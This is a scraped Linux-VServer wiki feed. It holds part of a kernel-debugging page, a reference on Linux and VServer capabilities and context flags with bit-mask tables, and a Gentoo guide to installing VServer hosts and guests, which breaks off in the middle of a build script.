# only arg is path to vmlinux (/usr/src/linux/vmlinux)<br />
CMD=`dmesg | egrep '<[[:xdigit:]]{16}>' | sed -r -e 's,^[^<]+?<,,g' -e 's,>[^<]+?<, ,g' -e 's,>.*$,,g'`<br />
if [ ${1} ]; then<br />
for i in ${CMD}; do echo -n $i: && addr2line -e $1 $i;done<br />
else<br />
echo please give me the path to your vmlinux<br />
fi<br />
</pre><br />
<br />
== Where to send bug reports? ==<br />
<br />
Bug reports should be submitted to the mailing list or directly to one of our developers in IRC.<br />
<br />
See the [[Communicate]] page to learn how to use the mailing list and/or IRC.</div>Daniel hozachttp://svn.linux-vserver.org/Capabilities_and_FlagsCapabilities and Flags2008-12-03T21:30:28Z<p>Daniel hozac: Reverted edits by 62.48.165.106 (Talk); changed back to last version by 88.96.252.46</p>
<hr />
<div>In computer science, a capability is a token used by a process to prove that it is allowed to perform an operation on an object. The Linux Capability System is based on "POSIX Capabilities", a somewhat different concept, designed to split up the all powerful root privilege into a set of distinct privileges.<br />
<br />
== The Capability/Flag System ==<br />
<br />
=== POSIX Capabilities ===<br />
<br />
A process has three sets of bitmaps called the inheritable(I), permitted(P), and effective(E) capabilities. Each capability is implemented as a bit in each of these bitmaps that is either set or unset.<br />
<br />
When a process tries to do a privileged operation, the operating system will check the appropriate bit in the effective set of the process (instead of checking whether the effective uid of the process is 0 as is normally done). <br />
<br />
For example, when a process tries to set the clock, the Linux kernel will check that the process has the CAP_SYS_TIME bit (which is currently bit 25) set in its effective set. <br />
<br />
The permitted set of the process indicates the capabilities the process can use. The process can have capabilities set in the permitted set that are not in the effective set. <br />
<br />
This indicates that the process has temporarily disabled this capability. A process is allowed to set a bit in its effective set only if it is available in the permitted set. The distinction between effective and permitted exists so that processes can "bracket" operations that need privilege.<br />
<br />
The inheritable capabilities are the capabilities of the current process that should be inherited by a program executed by the current process. The permitted set of a process is masked against the inheritable set during exec(). Nothing special happens during fork() or clone(). Child processes and threads are given an exact copy of the capabilities of the parent process.<br />
<br />
The implementation in Linux stopped at this point, whereas POSIX Capabilities require the addition of capability sets to files too, to replace the SUID flag (at least for executables)<br />
<br />
=== Upper Bound for Capabilities ===<br />
<br />
Because the current Linux Capability system does not implement the filesystem related portions of POSIX Capabilities which would make setuid and setgid executables secure, and because it is much safer to have a secure upper bound for all processes within a context, an additional per-context capability mask has been added to limit all processes belonging to that context to this mask. <br />
The meaning of the individual caps (bits) of the capability bound mask is exactly the same as with the permitted capability set.<br />
<br />
=== Context Capabilities ===<br />
<br />
As the Linux capabilities have almost reached the maximum number that is possible without heavy modifications to the kernel, it was a natural step to add a context-specific capability system.<br />
<br />
The Linux-VServer context capability set acts as a mechanism to fine tune existing Linux capabilities. It is not visible to the processes within a context, as they would not know how to modify or verify it.<br />
<br />
In general there are two ways to use those capabilities:<br />
* Require one or a number of context capabilities to be set in addition to a given Linux capability, each one controlling a distinct part of the functionality. For example the CAP_NET_ADMIN could be split into RAW and PACKET sockets, so you could take away each of them separately by not providing the required context capability.<br />
* Consider the context capability sufficient for a specified functionality, even if the Linux Capability says something different. For example mount() requires CAP_SYS_ADMIN which adds a dozen other things we do not want, so we define VXC_SECURE_MOUNT to allow mounts for certain contexts. <br />
<br />
The difference between the context flags and the context capabilities is more an abstract logical separation than a functional one, because they are handled in a very similar way.<br />
<br />
== List of capabilities/flags ==<br />
<br />
Below is a list of capabilities and flags used for contexts and processes within. The tables contain the following information:<br />
<br />
; Bit : The bit number to enable the capability/flag<br />
; Mask : The bit number in hexadecimal notation<br />
; Name : Human readable identifier used in userspace utilities<br />
; Tag : Special capability/flag code to denote special behaviour, legacy usage and others (see below)<br />
; Description : Description of capability/flag effects<br />
<br />
=== Special capability/flags codes ===<br />
<br />
The tag column may contain one or more of the following tags:<br />
<br />
{| class="wikitable_inline"<br />
! Tag<br />
! Description<br />
|-<br />
| I<br />
| Internal use only<br />
|-<br />
| L<br />
| Only supported with legacy enabled<br />
|-<br />
| O<br />
| One time capability/flag (once it's cleared, it can't be re-enabled again)<br />
|-<br />
| U<br />
| Unsupported<br />
|-<br />
| X<br />
| Slightly different meaning in legacy<br />
|}<br />
<br />
=== Context capabilities (ccaps) ===<br />
<br />
The set of available context capabilities is specific to Linux-VServer and applied to all processes contained within a context. Below is a list of capabilities currently available in 2.1.1 and above.<br />
<br />
{| class="wikitable_list"<br />
! Bit<br />
! Mask<br />
! Name<br />
! Tag<br />
! Description<br />
|-<br />
| style="text-align: right" | 0<br />
| style="font-family: monospace" | 0x00000001<br />
| SET_UTSNAME<br />
|<br />
| Allow setdomainname(2) and sethostname(2)<br />
|-<br />
| style="text-align: right" | 1<br />
| style="font-family: monospace" | 0x00000002<br />
| SET_RLIMIT<br />
|<br />
| Allow setrlimit(2)<br />
|-<br />
| style="text-align: right" | 8<br />
| style="font-family: monospace" | 0x00000100<br />
| RAW_ICMP<br />
|<br />
| Allow usage of raw ICMP sockets<br />
|-<br />
| style="text-align: right" | 12<br />
| style="font-family: monospace" | 0x00001000<br />
| SYSLOG<br />
|<br />
| Allow syslog(2)<br />
|-<br />
| style="text-align: right" | 16<br />
| style="font-family: monospace" | 0x00010000<br />
| SECURE_MOUNT<br />
|<br />
| Allow secure mount(2)<br />
|-<br />
| style="text-align: right" | 17<br />
| style="font-family: monospace" | 0x00020000<br />
| SECURE_REMOUNT<br />
|<br />
| Allow secure remount<br />
|-<br />
| style="text-align: right" | 18<br />
| style="font-family: monospace" | 0x00040000<br />
| BINARY_MOUNT<br />
|<br />
| Allow binary/network mounts<br />
|-<br />
| style="text-align: right" | 20<br />
| style="font-family: monospace" | 0x00100000<br />
| QUOTA_CTL<br />
|<br />
| Allow quota ioctls<br />
|-<br />
| style="text-align: right" | 21<br />
| style="font-family: monospace" | 0x00200000<br />
| ADMIN_MAPPER<br />
|<br />
| Allow access to device mapper<br />
|-<br />
| style="text-align: right" | 22<br />
| style="font-family: monospace" | 0x00400000<br />
| ADMIN_CLOOP<br />
|<br />
| Allow access to loop devices<br />
|}<br />
<br />
=== Context flags (cflags) ===<br />
<br />
The set of available context flags is specific to Linux-VServer and applied to all processes contained within a context. Below is a list of flags available in 2.1.1 and above.<br />
<br />
{| class="wikitable_list"<br />
! Bit<br />
! Mask<br />
! Name<br />
! Tag<br />
! Description<br />
|-<br />
| style="text-align: right" | 0<br />
| style="font-family: monospace" | 0x00000001<br />
| INFO_LOCK<br />
| L<br />
| Prohibit further context migration<br />
|-<br />
| style="text-align: right" | 1<br />
| style="font-family: monospace" | 0x00000002<br />
| INFO_SCHED<br />
| L<br />
| Account all processes as one<br />
|-<br />
| style="text-align: right" | 2<br />
| style="font-family: monospace" | 0x00000004<br />
| INFO_NPROC<br />
| L<br />
| Apply process limits to context<br />
|-<br />
| style="text-align: right" | 3<br />
| style="font-family: monospace" | 0x00000008<br />
| INFO_PRIVATE<br />
| L<br />
| Context cannot be entered<br />
|-<br />
| style="text-align: right" | 4<br />
| style="font-family: monospace" | 0x00000010<br />
| INFO_INIT<br />
| X<br />
| Show a fake init process<br />
|-<br />
| style="text-align: right" | 5<br />
| style="font-family: monospace" | 0x00000020<br />
| INFO_HIDE<br />
| X<br />
| Hide context information in task status<br />
|-<br />
| style="text-align: right" | 6<br />
| style="font-family: monospace" | 0x00000040<br />
| INFO_ULIMIT<br />
| L<br />
| Apply ulimits to context<br />
|-<br />
| style="text-align: right" | 7<br />
| style="font-family: monospace" | 0x00000080<br />
| INFO_NSPACE<br />
| L<br />
| Use private namespace<br />
|-<br />
| style="text-align: right" | 8<br />
| style="font-family: monospace" | 0x00000100<br />
| SCHED_HARD<br />
|<br />
| Enable hard scheduler<br />
|-<br />
| style="text-align: right" | 9<br />
| style="font-family: monospace" | 0x00000200<br />
| SCHED_PRIO<br />
|<br />
| Enable priority scheduler<br />
|-<br />
| style="text-align: right" | 10<br />
| style="font-family: monospace" | 0x00000400<br />
| SCHED_PAUSE<br />
|<br />
| Pause context (unschedule)<br />
|-<br />
| style="text-align: right" | 20<br />
| style="font-family: monospace" | 0x00010000<br />
| VIRT_MEM<br />
|<br />
| Virtualize memory information<br />
|-<br />
| style="text-align: right" | 21<br />
| style="font-family: monospace" | 0x00020000<br />
| VIRT_UPTIME<br />
|<br />
| Virtualize uptime information<br />
|-<br />
| style="text-align: right" | 22<br />
| style="font-family: monospace" | 0x00040000<br />
| VIRT_CPU<br />
|<br />
| Virtualize cpu usage information<br />
|-<br />
| style="text-align: right" | 23<br />
| style="font-family: monospace" | 0x00080000<br />
| VIRT_LOAD<br />
|<br />
| Virtualize load average information<br />
|-<br />
| style="text-align: right" | 24<br />
| style="font-family: monospace" | 0x00100000<br />
| VIRT_TIME<br />
|<br />
| Allow per guest time offsets<br />
|-<br />
| style="text-align: right" | 28<br />
| style="font-family: monospace" | 0x01000000<br />
| HIDE_MOUNT<br />
|<br />
| Hide entries in /proc/$pid/mounts<br />
|-<br />
| style="text-align: right" | 29<br />
| style="font-family: monospace" | 0x02000000<br />
| HIDE_NETIF<br />
|<br />
| Hide foreign network interfaces<br />
|-<br />
| style="text-align: right" | 30<br />
| style="font-family: monospace" | 0x04000000<br />
| HIDE_VINFO<br />
|<br />
| Hide context information in task status<br />
|-<br />
| style="text-align: right" | 32<br />
| style="font-family: monospace" | 0x0001<<32<br />
| STATE_SETUP<br />
| IO<br />
| Enable setup state<br />
|-<br />
| style="text-align: right" | 33<br />
| style="font-family: monospace" | 0x0002<<32<br />
| STATE_INIT<br />
| IO<br />
| Enable init state<br />
|-<br />
| style="text-align: right" | 34<br />
| style="font-family: monospace" | 0x0004<<32<br />
| STATE_ADMIN<br />
| O<br />
| Enable admin state<br />
|-<br />
| style="text-align: right" | 36<br />
| style="font-family: monospace" | 0x0010<<32<br />
| SC_HELPER<br />
| I<br />
| Enable state change helper<br />
|-<br />
| style="text-align: right" | 37<br />
| style="font-family: monospace" | 0x0020<<32<br />
| REBOOT_KILL<br />
|<br />
| Kill all processes on reboot(2)<br />
|-<br />
| style="text-align: right" | 38<br />
| style="font-family: monospace" | 0x0040<<32<br />
| PERSISTENT<br />
|<br />
| Make context persistent<br />
|-<br />
| style="text-align: right" | 48<br />
| style="font-family: monospace" | 0x0001<<48<br />
| FORK_RSS<br />
|<br />
| Block fork when RSS limit is exceeded<br />
|-<br />
| style="text-align: right" | 49<br />
| style="font-family: monospace" | 0x0002<<48<br />
| PROLIFIC<br />
|<br />
| Allow context to create new contexts<br />
|-<br />
| style="text-align: right" | 52<br />
| style="font-family: monospace" | 0x0010<<48<br />
| IGNEG_NICE<br />
|<br />
| Ignore priority raise<br />
|}<br />
<br />
=== Network context flags (nflags) ===<br />
<br />
The set of available network context flags is specific to Linux-VServer and applied to all processes contained within a network context. Below is a list of flags available in 2.1.1 and above.<br />
<br />
{| class="wikitable_list"<br />
! Bit<br />
! Mask<br />
! Name<br />
! Tag<br />
! Description<br />
|-<br />
| style="text-align: right" | 0<br />
| style="font-family: monospace" | 0x00000001<br />
| INFO_LOCK<br />
|<br />
| Prohibit further context migration<br />
|-<br />
| style="text-align: right" | 8<br />
| style="font-family: monospace" | 0x00000100<br />
| SINGLE_IP<br />
|<br />
| Enable special handling of network contexts with a single IP only<br />
|-<br />
| style="text-align: right" | 9<br />
| style="font-family: monospace" | 0x00000200<br />
| LBACK_REMAP<br />
|<br />
| use loopback-virtualisation (will only work in 2.3.0.xx or greater)<br />
|-<br />
| style="text-align: right" | 10<br />
| style="font-family: monospace" | 0x00000400<br />
| LBACK_ALLOW<br />
|<br />
| if set, allows guests without LBACK_REMAP to connect to 127.0.0.0/8<br />
|- <br />
| style="text-align: right" | 29<br />
| style="font-family: monospace" | 0x02000000<br />
| HIDE_NETIF<br />
|<br />
| Hide foreign network interfaces<br />
|- <br />
| style="text-align: right" | 30<br />
| style="font-family: monospace" | 0x04000000<br />
| HIDE_LBACK<br />
|<br />
| hides the real loopback-address from the guest (rewrites to 127.0.0.1) (will only work in 2.3.0.xx or greater)<br />
|-<br />
| style="text-align: right" | 32<br />
| style="font-family: monospace" | 0x0001<<32<br />
| STATE_SETUP<br />
| IO<br />
| Enable setup state<br />
|-<br />
| style="text-align: right" | 34<br />
| style="font-family: monospace" | 0x0004<<32<br />
| STATE_ADMIN<br />
| O<br />
| Enable admin state<br />
|-<br />
| style="text-align: right" | 36<br />
| style="font-family: monospace" | 0x0010<<32<br />
| SC_HELPER<br />
| I<br />
| Enable state change helper<br />
|-<br />
| style="text-align: right" | 38<br />
| style="font-family: monospace" | 0x0040<<32<br />
| PERSISTENT<br />
|<br />
| Make network context persistent<br />
|}<br />
<br />
=== System capabilities (bcaps) ===<br />
<br />
The set of available system capabilities is inherited from the Linux kernel and applied to all processes contained within a context. Below is a list of capabilities currently available in the vanilla kernel.<br />
<br />
<div style="color: red; font-weight: bold;"><br />
BIG FAT WARNING: Adding any system capability to your virtual server WILL reduce security. Do not change the default values unless you absolutely know what you are doing!<br />
</div><br />
<br />
{| class="wikitable_list"<br />
! Bit<br />
! Mask<br />
! Name<br />
! Description<br />
|-<br />
| style="text-align: right" | 0<br />
| style="font-family: monospace" | 0x00000001<br />
| CHOWN<br />
| In a system with the [_POSIX_CHOWN_RESTRICTED] option defined, this overrides the restriction of changing file ownership and group ownership.<br />
|-<br />
| style="text-align: right" | 1<br />
| style="font-family: monospace" | 0x00000002<br />
| DAC_OVERRIDE<br />
| Override all DAC access, including ACL execute access if [_POSIX_ACL] is defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE.<br />
|-<br />
| style="text-align: right" | 2<br />
| style="font-family: monospace" | 0x00000004<br />
| DAC_READ_SEARCH<br />
| Overrides all DAC restrictions regarding read and search on files and directories, including ACL restrictions if [_POSIX_ACL] is defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE.<br />
|-<br />
| style="text-align: right" | 3<br />
| style="font-family: monospace" | 0x00000008<br />
| FOWNER<br />
| Overrides all restrictions about allowed operations on files, where file owner ID must be equal to the user ID, except where CAP_FSETID is applicable. It doesn't override MAC and DAC restrictions.<br />
|-<br />
| style="text-align: right" | 4<br />
| style="font-family: monospace" | 0x00000010<br />
| FSETID<br />
| Overrides the following restrictions that the effective user ID shall match the file owner ID when setting the S_ISUID and S_ISGID bits on that file; that the effective group ID (or one of the supplementary group IDs) shall match the file owner ID when setting the S_ISGID bit on that file; that the S_ISUID and S_ISGID bits are cleared on successful return from chown(2) (not implemented).<br />
|-<br />
| style="text-align: right" | 5<br />
| style="font-family: monospace" | 0x00000020<br />
| KILL<br />
| Overrides the restriction that the real or effective user ID of a process sending a signal must match the real or effective user ID of the process receiving the signal.<br />
|-<br />
| style="text-align: right" | 6<br />
| style="font-family: monospace" | 0x00000040<br />
| SETGID<br />
|<br />
* Allows setgid(2) manipulation<br />
* Allows setgroups(2)<br />
* Allows forged gids on socket credentials passing.<br />
|-<br />
| style="text-align: right" | 7<br />
| style="font-family: monospace" | 0x00000080<br />
| SETUID<br />
|<br />
* Allows set*uid(2) manipulation (including fsuid).<br />
* Allows forged pids on socket credentials passing.<br />
|-<br />
| style="text-align: right" | 8<br />
| style="font-family: monospace" | 0x00000100<br />
| SETPCAP<br />
| Transfer any capability in your permitted set to any pid, remove any capability in your permitted set from any pid<br />
|-<br />
| style="text-align: right" | 9<br />
| style="font-family: monospace" | 0x00000200<br />
| LINUX_IMMUTABLE<br />
| Allow modification of S_IMMUTABLE and S_APPEND file attributes<br />
|-<br />
| style="text-align: right" | 10<br />
| style="font-family: monospace" | 0x00000400<br />
| NET_BIND_SERVICE<br />
|<br />
* Allows binding to TCP/UDP sockets below 1024<br />
* Allows binding to ATM VCIs below 32<br />
|-<br />
| style="text-align: right" | 11<br />
| style="font-family: monospace" | 0x00000800<br />
| NET_BROADCAST<br />
| Allow broadcasting, listen to multicast<br />
|-<br />
| style="text-align: right" | 12<br />
| style="font-family: monospace" | 0x00001000<br />
| NET_ADMIN<br />
|<br />
* Allow interface configuration<br />
* Allow administration of IP firewall, masquerading and accounting<br />
* Allow setting debug option on sockets<br />
* Allow modification of routing tables<br />
* Allow setting arbitrary process / process group ownership on sockets<br />
* Allow binding to any address for transparent proxying<br />
* Allow setting TOS (type of service)<br />
* Allow setting promiscuous mode<br />
* Allow clearing driver statistics<br />
* Allow multicasting<br />
* Allow read/write of device-specific registers<br />
* Allow activation of ATM control sockets<br />
|-<br />
| style="text-align: right" | 13<br />
| style="font-family: monospace" | 0x00002000<br />
| NET_RAW<br />
|<br />
* Allow use of RAW sockets<br />
* Allow use of PACKET sockets<br />
|-<br />
| style="text-align: right" | 14<br />
| style="font-family: monospace" | 0x00004000<br />
| IPC_LOCK<br />
|<br />
* Allow locking of shared memory segments<br />
* Allow mlock and mlockall (which doesn't really have anything to do with IPC)<br />
|-<br />
| style="text-align: right" | 15<br />
| style="font-family: monospace" | 0x00008000<br />
| IPC_OWNER<br />
| Override IPC ownership checks<br />
|-<br />
| style="text-align: right" | 16<br />
| style="font-family: monospace" | 0x00010000<br />
| SYS_MODULE<br />
|<br />
* Insert and remove kernel modules - modify kernel without limit<br />
* Modify cap_bset<br />
|-<br />
| style="text-align: right" | 17<br />
| style="font-family: monospace" | 0x00020000<br />
| SYS_RAWIO<br />
|<br />
* Allow ioperm/iopl access<br />
* Allow sending USB messages to any device via /proc/bus/usb<br />
|-<br />
| style="text-align: right" | 18<br />
| style="font-family: monospace" | 0x00040000<br />
| SYS_CHROOT<br />
| Allow use of chroot()<br />
|-<br />
| style="text-align: right" | 19<br />
| style="font-family: monospace" | 0x00080000<br />
| SYS_PTRACE<br />
| Allow ptrace() of any process<br />
|-<br />
| style="text-align: right" | 20<br />
| style="font-family: monospace" | 0x00100000<br />
| SYS_PACCT<br />
| Allow configuration of process accounting<br />
|-<br />
| style="text-align: right" | 21<br />
| style="font-family: monospace" | 0x00200000<br />
| SYS_ADMIN<br />
|<br />
* Allow configuration of the secure attention key<br />
* Allow administration of the random device<br />
* Allow examination and configuration of disk quotas<br />
* Allow configuring the kernel's syslog (printk behaviour)<br />
* Allow setting the domainname<br />
* Allow setting the hostname<br />
* Allow calling bdflush()<br />
* Allow mount() and umount(), setting up new smb connection<br />
* Allow some autofs root ioctls<br />
* Allow nfsservctl<br />
* Allow VM86_REQUEST_IRQ<br />
* Allow to read/write pci config on alpha<br />
* Allow irix_prctl on mips (setstacksize)<br />
* Allow flushing all cache on m68k (sys_cacheflush)<br />
* Allow removing semaphores (Used instead of CAP_CHOWN to "chown" IPC message queues, semaphores and shared memory)<br />
* Allow locking/unlocking of shared memory segment<br />
* Allow turning swap on/off<br />
* Allow forged pids on socket credentials passing<br />
* Allow setting readahead and flushing buffers on block devices<br />
* Allow setting geometry in floppy driver<br />
* Allow turning DMA on/off in xd driver<br />
* Allow administration of md devices (mostly the above, but some extra ioctls)<br />
* Allow tuning the ide driver<br />
* Allow access to the nvram device<br />
* Allow administration of apm_bios, serial and bttv (TV) device<br />
* Allow manufacturer commands in isdn CAPI support driver<br />
* Allow reading non-standardized portions of pci configuration space<br />
* Allow DDI debug ioctl on sbpcd driver<br />
* Allow setting up serial ports<br />
* Allow sending raw qic-117 commands<br />
* Allow enabling/disabling tagged queuing on SCSI controllers and sending arbitrary SCSI commands<br />
* Allow setting encryption key on loopback filesystem<br />
* Allow setting zone reclaim policy<br />
|-<br />
| style="text-align: right" | 22<br />
| style="font-family: monospace" | 0x00400000<br />
| SYS_BOOT<br />
| Allow use of reboot()<br />
|-<br />
| style="text-align: right" | 23<br />
| style="font-family: monospace" | 0x00800000<br />
| SYS_NICE<br />
|<br />
* Allow raising priority and setting priority on other (different UID) processes<br />
* Allow use of FIFO and round-robin (realtime) scheduling on own processes and setting the scheduling algorithm used by another process.<br />
* Allow setting cpu affinity on other processes<br />
|-<br />
| style="text-align: right" | 24<br />
| style="font-family: monospace" | 0x01000000<br />
| SYS_RESOURCE<br />
|<br />
* Override resource limits. Set resource limits.<br />
* Override quota limits.<br />
* Override reserved space on ext2 filesystem<br />
* Modify data journaling mode on ext3 filesystem (uses journaling resources)<br />
* ''NOTE:'' ext2 honors fsuid when checking for resource overrides, so you can override using fsuid too<br />
* Override size restrictions on IPC message queues<br />
* Allow more than 64hz interrupts from the real-time clock<br />
* Override max number of consoles on console allocation<br />
* Override max number of keymaps<br />
|-<br />
| style="text-align: right" | 25<br />
| style="font-family: monospace" | 0x02000000<br />
| SYS_TIME<br />
|<br />
* Allow manipulation of system clock<br />
* Allow irix_stime on mips<br />
* Allow setting the real-time clock<br />
|-<br />
| style="text-align: right" | 26<br />
| style="font-family: monospace" | 0x04000000<br />
| SYS_TTY_CONFIG<br />
|<br />
* Allow configuration of tty devices<br />
* Allow vhangup() of tty<br />
|-<br />
| style="text-align: right" | 27<br />
| style="font-family: monospace" | 0x08000000<br />
| MKNOD<br />
| Allow the privileged aspects of mknod()<br />
|-<br />
| style="text-align: right" | 28<br />
| style="font-family: monospace" | 0x10000000<br />
| LEASE<br />
| Allow taking of leases on files<br />
|-<br />
| style="text-align: right" | 29<br />
| style="font-family: monospace" | 0x20000000<br />
| AUDIT_WRITE<br />
| ??<br />
|-<br />
| style="text-align: right" | 30<br />
| style="font-family: monospace" | 0x40000000<br />
| AUDIT_CONTROL<br />
| ??<br />
|}<br />
<br />
== Setting flags and capabilities ==<br />
To see how to set the flags and capabilities, see [[util-vserver:Capabilities and Flags]] if you're using util-vserver.</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_GentooInstallation on Gentoo2008-10-03T10:41:02Z<p>Daniel hozac: Reverted edits by 211.24.226.8 (Talk); changed back to last version by 155.207.112.74</p>
<hr />
<div>== Host configuration ==<br />
<br />
=== Install a Linux-VServer kernel ===<br />
<br />
Installing a prepatched kernel is as easy as:<br />
<br />
<pre><br />
# emerge vserver-sources<br />
</pre><br />
<br />
However, the main portage tree only contains stable kernels (at the time of writing this is 2.0.x). If you want to install 2.1.1 or above, please take a look at the [http://overlays.gentoo.org/proj/vps/ Gentoo VPS Project Overlay] and [http://gentoo-wiki.com/HOWTO_Installing_3rd_Party_Ebuilds Howto install 3rd party ebuilds].<br />
<br />
After the vserver-sources are installed it's time to configure them using make menuconfig. Below is a common configuration for 2.1.1 and above. If you are using 2.0.x some configuration options may not be present.<br />
<br />
<pre><br />
# cd /usr/src/linux-<KERNELVERSION>-vserver-<VSERVERVERSION><br />
# make menuconfig<br />
<br />
Linux VServer ---><br />
[ ] Enable Legacy Kernel API<br />
[ ] Enable Legacy Networking Kernel API<br />
[ ] Remap Source IP Address<br />
[*] Enable COW Immutable Link Breaking<br />
[*] Enable Virtualized Guest Time<br />
[*] Enable Proc Security<br />
[*] Enable Hard CPU Limits<br />
[*] Avoid idle CPUs by skipping Time<br />
[*] Limit the IDLE task<br />
Persistent Inode Tagging (UID24/GID24) ---><br />
[ ] Tag NFSD User Auth and Files<br />
[ ] Enable Inode Tag Propagation<br />
[*] Honor Privacy Aspects of Guests<br />
[ ] VServer Debugging Code<br />
</pre><br />
<br />
'''Note''': If you are using reiserfs as filesystem on the partition where guest images are stored, you will need to enable extended attributes for reiserfs in your kernel config and additionally add the attrs option in /etc/fstab.<br />
<br />
<pre><br />
File systems ---><br />
<*> Reiserfs support<br />
[*] ReiserFS extended attributes<br />
</pre><br />
<br />
<pre><br />
/dev/hdb1 /vservers reiserfs noatime,attrs 0 0<br />
</pre><br />
<br />
After you've built and installed the kernel, update your boot loader and finally reboot to see if the kernel boots correctly.<br />
<br />
<pre><br />
(Building the kernel)<br />
# make<br />
(Installing)<br />
# make modules_install<br />
# cp arch/<arch>/boot/bzImage /boot/kernel-<KERNELVERSION>-vserver-<VSERVERVERSION><br />
(Edit bootloader config file as required and)<br />
# reboot<br />
</pre><br />
<br />
=== Setup host environment ===<br />
<br />
To maintain your virtual servers you need the util-vserver package which contains all necessary programs and many useful features.<br />
<br />
<pre><br />
# emerge util-vserver<br />
</pre><br />
<br />
You have to run the vprocunhide command after every reboot in order to setup /proc permissions correctly for vserver use. An init script has been installed by util-vserver. To use it you should add it to a runlevel: <br />
<br />
<pre><br />
# rc-update add vservers default<br />
# /etc/init.d/vservers start<br />
</pre><br />
<br />
The vshelper script is used to restart virtual servers correctly. You have to tell the kernel where the vshelper script is located: <br />
<br />
<pre><br />
# echo 'kernel.vshelper = /usr/lib/util-vserver/vshelper' >> /etc/sysctl.conf<br />
# sysctl -p<br />
</pre><br />
<br />
== Guest configuration ==<br />
<br />
You have to download a vserver prepared stage3 from one of the [http://www.gentoo.org/main/en/mirrors.xml Gentoo mirrors]. Those stages are located under the experimental/<arch>/vserver/ directory. Since a stage3 contains a complete root filesystem you can use the template build method of util-vserver. However, this method is only available since util-vserver-0.30.211, so make sure you have the right version installed.<br />
<br />
You have to choose a context ID for your vserver (dynamic context IDs are discouraged) as well as the necessary network device information (In this example eth0 is configured with 192.168.1.253/24 and the context ID is equivalent to the last two parts of the virtual servers IP).<br />
<br />
<pre><br />
# vserver myguest build \<br />
--context 1253 \<br />
--hostname myguest \<br />
--interface eth0:192.168.1.253/24 \<br />
--initstyle plain \<br />
-m template -- \<br />
-t /path/to/stage3-<arch>-<version>.tar.bz2 \<br />
-d gentoo<br />
</pre><br />
<br />
You should be able to start and enter the vserver by using the commands below. If you miss commands like mount or dmesg you should emerge util-linux inside your virtual server as the vserver profile doesn't ship this package by default.<br />
<br />
<pre><br />
# vserver myguest start<br />
# vserver-stat<br />
CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME<br />
0 90 1.4G 153.4K 14m00s11 6m45s17 2h59m59 root server<br />
1253 2 3M 286 0m00s45 0m00s42 0m02s91 myguest<br />
# vserver myguest enter<br />
# ps ax<br />
PID TTY STAT TIME COMMAND<br />
1 ? S 0:00 init [3]<br />
22887 ? Ss 0:00 /usr/sbin/syslog-ng<br />
20496 pts/0 S 0:00 /bin/bash -login<br />
20508 pts/0 R+ 0:00 ps ax<br />
# logout<br />
</pre><br />
<br />
== Maintenance made easy ==<br />
<br />
=== Start guests on boot ===<br />
<br />
You can start certain guests during boot. Each guest can be assigned a MARK. Now everything you have to do is configure these MARKs in the guests configuration and tell the init script to run all MARKed guests.<br />
<br />
<pre><br />
(Do this for every guest you want to start)<br />
# mkdir -p /etc/vservers/myguest/apps/init<br />
# echo "default" > /etc/vservers/myguest/apps/init/mark<br />
</pre><br />
<br />
'''Note''': Since all guests marked with "default" are started by default, nothing more has to be done. If you have different marks you should also update /etc/conf.d/vservers.<br />
<br />
=== Keep portage in sync ===<br />
<br />
The script vesync will help you to keep the metadata cache and overlays in sync. vemerge is a simple wrapper for emerge in guests.<br />
<br />
<pre><br />
(Sync metadata for 'myguest')<br />
# vesync myguest<br />
(Sync metadata for all guests)<br />
# vesync -a<br />
(Sync metadata for all guests except 'myguest')<br />
# vesync -a -e myguest<br />
(Sync 'myoverlay' for all guests)<br />
# vesync -a \<br />
--overlay /usr/local/overlays/myoverlay \<br />
--overlay-host rsync://rsync.myhost.com/myoverlay \<br />
--overlay-only<br />
(emerge app-editors/vim in 'myguest')<br />
# vemerge myguest -- app-editors/vim -va<br />
</pre><br />
<br />
=== Update guests ===<br />
<br />
Gentoo guests can share packages to save compilation time. In order to use shared packages, you have to create a central directory for packages on the host. We will use /var/cache/vpackages on the host and mount it to /usr/portage/packages in every guest.<br />
<br />
<pre><br />
# mkdir -p /var/cache/vpackages<br />
# $EDITOR /etc/vservers/myguest/fstab<br />
(Add this line at the end)<br />
/var/cache/vpackages /usr/portage/packages none bind,rw 0 0<br />
</pre><br />
<br />
Now you can use vupdateworld to update every guest. The command is equivalent to something like emerge --deep --update --newuse world depending on command line options.<br />
<br />
<pre><br />
(Pretend update for 'myguest')<br />
# vupdateworld -p myguest<br />
(Update 'myguest' using binary packages)<br />
# vupdateworld -k myguest<br />
(Update all guests using binary packages)<br />
# vupdateworld -ka<br />
</pre><br />
<br />
'''Note''': In order to get binary packages you can either use PORTAGE_BINHOST (see man make.conf) or set FEATURES="buildpkg" in one or more guests.<br />
<br />
After a successful update you can easily update all configuration files with vdispatch-conf. It is a simple wrapper for dispatch-conf and behaves exactly the same.<br />
<br />
<pre><br />
(Update configuration files for 'myguest')<br />
# vdispatch-conf myguest<br />
(Update configuration files for all guests)<br />
# vdispatch-conf -a<br />
</pre><br />
<br />
=== Bash scripts ===<br />
<br />
These scripts will hopefully help some of you out with some basic tasks. Review each script carefully, so you know what it is doing. <br />
<br />
==== Build Script ====<br />
This will build virtual servers a little quicker with a shorter command and pre-saved parameters stored as variables.<br />
<br />
'''Note:''' Edit this script to fit your environment.<br />
<br />
'''genvs_create.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_TEMPLATE=/etc/vservers/.templates/stage4-i686-20070905.tar.bz2<br />
VSERVER_HOST=${1}<br />
VSERVER_DOMAIN=domain.tld<br />
VSERVER_CONTEXT=${2}<br />
VSERVER_IP=${3}<br />
VSERVER_LOC=/vservers<br />
<br />
if [ "${1}" == "--help" ]; then<br />
echo "Usage:"<br />
echo " genvs_create.sh <host> <context id> <ip>"<br />
echo " "<br />
echo " <host> = Name of Virtual Server"<br />
echo " <context id> = Usually last digits of IP. (10.10.0.15 <-> 15)"<br />
echo " <ip> = IP Address 10.10.0.15/24"<br />
else<br />
vserver -v ${VSERVER_HOST} build --context ${VSERVER_CONTEXT} \<br />
--hostname ${VSERVER_HOST}.${VSERVER_DOMAIN} --interface eth0:${VSERVER_IP} \<br />
--initstyle gentoo -m template -- -d gentoo -t ${VSERVER_TEMPLATE}<br />
<br />
#Need to chop off the /xx fromt eh ip address before adding it to the sshd_config<br />
#<br />
#echo "ListenAddress ${3}" >> ${VSERVER_LOC}/${1}/etc/ssh/sshd_config<br />
